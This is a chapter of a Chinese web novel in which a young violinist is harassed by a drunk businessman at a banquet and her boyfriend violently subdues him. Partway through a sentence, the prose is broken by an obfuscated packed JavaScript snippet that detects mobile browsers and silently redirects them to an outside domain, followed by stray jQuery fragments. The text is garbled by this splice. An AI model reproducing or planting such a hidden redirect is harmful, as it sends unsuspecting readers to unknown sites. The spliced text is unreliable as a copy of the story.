70. 出事

作品:《和竹马穿回八零年代

    晚宴正式开始,主家致辞过后,温颂走上舞台,红棕色的小提琴在肩上夹好,她缓缓拉动弓弦,清冽的琴音在室内缓缓流淌。


    台下觥筹交错,西装革履的宾客三两成群寒暄,还未上台的演员端着酒杯陪笑,时不时说两句逗趣的话,众人忙着交际应酬,无人关注台上拉的什么曲,只在干杯过后像是展示战利品般将身边人推出去,脸上还挂着暧昧地笑。


    台上换了曲,轻快明亮的曲风吸引部分人的目光,他们饶有兴致地看台上的乐手,识眼色的服务员接过在他们耳边低语,得到承诺后拿着纸条匆匆离去。


    今天的演出服是对襟圆领上衣和到脚踝的长裙,样式十分宽松,跟时尚完全搭不上边,甚至可以说十分保守,但那些人的眼神却让温颂觉得自己是待价而沽的商品,赤/裸/裸等着竞价。


    她强忍着不适拉完曲子,刚下台,还几个等在台边的服务员便凑上来拦住温颂的去路,七嘴八舌说些听不懂的话,突如其来的变故让温颂有些不知所措,抱着琴进退两难。


    这时,王哥匆匆跑来,三两句把服务员打发走,然后带温颂走回到休息室。


    温颂抱着琴的手紧了紧,犹豫一会儿还是问道:“王哥,你刚刚说‘我自有安排’是什么意思?”


    空荡的走廊上只有他们两个,王哥回头看了她一眼,没说话,只催着她快走,等过了走廊,看到休息室紧闭的房门,温颂不敢走了,忐忑不安地后退了两步。


    “王哥,你不是说演出完让我到车上等吗?”


    “你怎么一副我要把你卖了的样子,”王哥差点气笑了,“我虽然不是什么好人,但还是有点良心的,你不用换衣服不用拿东西?想什么呢!”


    温颂脚下一动不动,脸上的表情带了审视,像是在判断他的话是真是假,还没得出结论,休息室的门突然由内打开,换了舞裙的小陈拿着道具走出来,见到他们两个,有些好奇问道:“王哥,你们怎么站在门口不进去啊?”


    王哥没回答,只似笑非笑看了眼温颂,温颂卸下防备,朝小陈笑了笑,低着头匆忙走进休息室,关上门的瞬间,王哥大声说了句:“赶紧的,我就在门口等!”


    说完,他又问小陈:“你们的东西都拿到车上去了吧,玲姐在台下等你们,跳完就出来!”


    小陈点点头,在服务员带领下走向舞台。


    隐隐感觉有事即将发生,温颂快速换完衣服,妆都没来得及卸就背着琴盒走出休息室。


    王哥刚叼上烟,见她出来又把烟放回烟盒,带着她穿过右边的走廊,打算从侧门出去。


    人的预感总是好的不灵坏的灵。


    身后忽然有脚步声传来,王哥皱了皱眉,推开门示意温颂先出去,见他脸色不对,温颂心中一惊,连忙加快脚步,却在走出侧门的一瞬间被人抓住手臂扯了回来,同时一道声音在她身后响起:“怎么刚表演完就要走啊,不留下来吃点东西?”


    周身汗毛炸起,温颂差点惊叫出声,手臂挣扎着想摆脱桎梏,可来人手劲极大,温颂越挣扎那人握得越紧,疼得温颂冷汗直冒,还怎么也挣不脱。


    温颂回过头,就看到身后的矮胖男人正拿着酒瓶往嘴里灌,通红浑浊的眼睛盯着她,眼神露骨,语气暧昧:“跑嘛,我最喜欢抓人了!”


    “莫总说笑了,小孩子不懂事,年纪小又没见过世面,冒犯到莫总就不好了,刚好陈队也在,待会我找他一起陪莫总喝,一定让您尽兴!您大人有大量,别跟个小孩计较!”


    王哥脸上带着笑,接着跟莫总握手的机会把温颂手臂解救出来,脚步轻挪,不着痕迹挡在温颂面前,搬出靠山的同时不忘恭维莫总几句。


    他维护的姿态十分明显,温颂也信任他,一挣脱立马躲到他身后,只露出一截手臂,莫总摸了摸下巴,理智上知道没必要为了个人闹得太难看,但是看着自己抓出的红肿指印和刚刚掌心传来的颤栗感,像是细密绒毛轻轻抓挠,让人十分心痒。


    只不过是个中介而已,他背后的陈队上不得台面。


    莫总嗤笑,说:“跟你喝有什么意思,跟姑娘喝才好玩,让她过来!”


    没想到他一点面子都不给,王哥脸色变得难看,正想说点什么,就听到门外传来个沉稳的男声:“你在这干什么?”


    三人同时向外看去,高大身影背着光走到温颂旁边,看了眼两个男人,然后再次问道:“你在这干什么?”


    语气平稳不见异样,像是偶然遇见温颂来拉个家常。


    但温颂心中的委屈一下子就涌上来,她瞪了莫总一眼,先回答刚刚的问题:“做兼职。”


    然后又指着莫总告状:“他非要我跟他喝酒!”


    “想喝吗?”秦殊又问。


    温颂摇了摇头,说:“等学姐表演完就回去了。”


    俩人旁若无人的交谈让莫总站不住了,高声问道:“你谁啊!”


    与此同时,跟在秦殊身后进门的人也问了句:“小秦,这是谁啊?”


    “我女朋友,小温,”连个眼神都没给莫总,秦殊先介绍温颂,然后又给温颂介绍,“这是林坤,坤哥。”


    “坤哥。”有了依靠,温颂心中安定下来,乖乖叫人,而后揉着手臂躲到秦殊背后,细微颤抖的身体渐渐平复,甚至有些脱力,得抓着秦殊衣摆才能站稳。


    薄薄一层意料都与腰用尽力气才能抓握,淡青色的血管因用力而凸显,秦殊低头看了一眼,伸出手想握住温颂细瘦手腕,谁料莫总竟恼羞成怒,举着酒瓶朝秦殊砸来。


    秦殊眼神一凛,先轻轻推开温颂,然后反扣住莫总手腕,接着又踢了他膝盖一脚,趁莫总失去重心向前踉跄的时候一把将人压跪在地上,手肘扣住莫总脖颈,脱落的酒瓶砸在地上,碎片溅了满地!


    强壮手臂压迫气管,莫总一张脸憋得通红,吭哧吭哧喘气,发黄的手指艰难扒着扣住命门的手臂,想把它从自己脖子上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629476|163996||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挪开,那手臂却越扣越紧,能吸入的空气越来越少,莫总浑浊的双眼控制不住往上翻,屁股底下湿了一大片。


    瞬息之间发生的事,谁都没来得及反应,直到莫总失禁,旁边三人才回过神,王哥向前走了一步,抓着秦殊手臂说道:“兄弟,兄弟,可以了,再不收手要出人命了!”


    秦殊充耳不闻,甚至连个眼神都没给他。


    王哥怎么也拉不开秦殊的手,怕事情演变到最后无法收场,他连忙喊了声温颂:“小温,你快劝劝!”


    温颂从没见过这样的秦殊,她扑到秦殊身边,双手颤抖抓住秦殊手臂,叫了声:“哥哥!”


    独属于军人的肃杀气渐渐收敛,秦殊松开人,带着温颂站起来,帮她擦了擦濡湿的掌心,安抚道:“没事,别怕。”


    然后对王哥说:“没死,踢两脚就醒了!”


    说是那么说,王哥没敢下脚踢,他扯着头发把莫总头抬起来,另一手运劲狠狠抽了莫总俩耳光!


    莫总嘴里“嗬”地响了一声,人甫一醒转便剧烈咳嗽起来,鼻涕眼泪糊了满脸。


    围观整个过程却一声不吭的林坤忽然低下头仔细看了眼莫总,然后走到秦殊耳边小声说了几句话。


    没想到林坤竟然有这人的把柄,秦殊听完,向林坤道谢:“谢了,坤哥,过两天请你喝酒。”


    林坤摆摆手,笑道:“我最烦这种仗势欺人的狗东西,举手之劳而已,不用放在心上,我跟主家关系还不错,这里我盯着,你先送弟妹回去?”


    秦殊点了点头,但他没直接把人带走,而是扭头看了王哥一眼,温颂跟他一起看过去,那边王哥看着莫总正头疼,见他俩盯着自己,苦笑道:“这里我收拾就行,你们回去吧!”


    但他显然会错了意,秦殊伸出手,说:“兼职工资!”


    王哥想说过两天再给温颂送过去,但很明显秦殊不会同意,他只得掏出钱包,数了五百块钱交到秦殊手里,然后对温颂说道:“辛苦了,没想到会遇到这种事,哥跟你道个歉,不好意思啊!”


    “没事,王哥,我们先回去了。”


    秦殊收了钱,接过东西,牵着温颂手走出门外,蓝色货车停在树后,在一众轿车中显得格格不入。


    秦殊把人带到车边,拉开副驾驶座门,接着走到另一边上车,手里的东西都放在座位后的下铺,清空手,他才系上安全带打火。


    货车驾驶室高,平时都是秦殊托温颂上去的,但是出来后,秦殊脸色就冷了下来,很明显生气了,温颂犯了错心虚,压根不敢叫他帮忙,只能自己拉着把手艰难往上爬,才坐稳,货车就拐着弯驶出大门,一路疾驰在回市区的路上。


    像是暴风雨来临前的平静,车里气氛闷得可怕,温颂连呼吸都小心翼翼的,她预感自己即将见到秦殊真正发火的样子,念头刚起就仿佛看到世界莫日,温颂脑袋一阵阵发白,平时都是秦殊哄她,她完全不知道应该怎么样能把人哄好。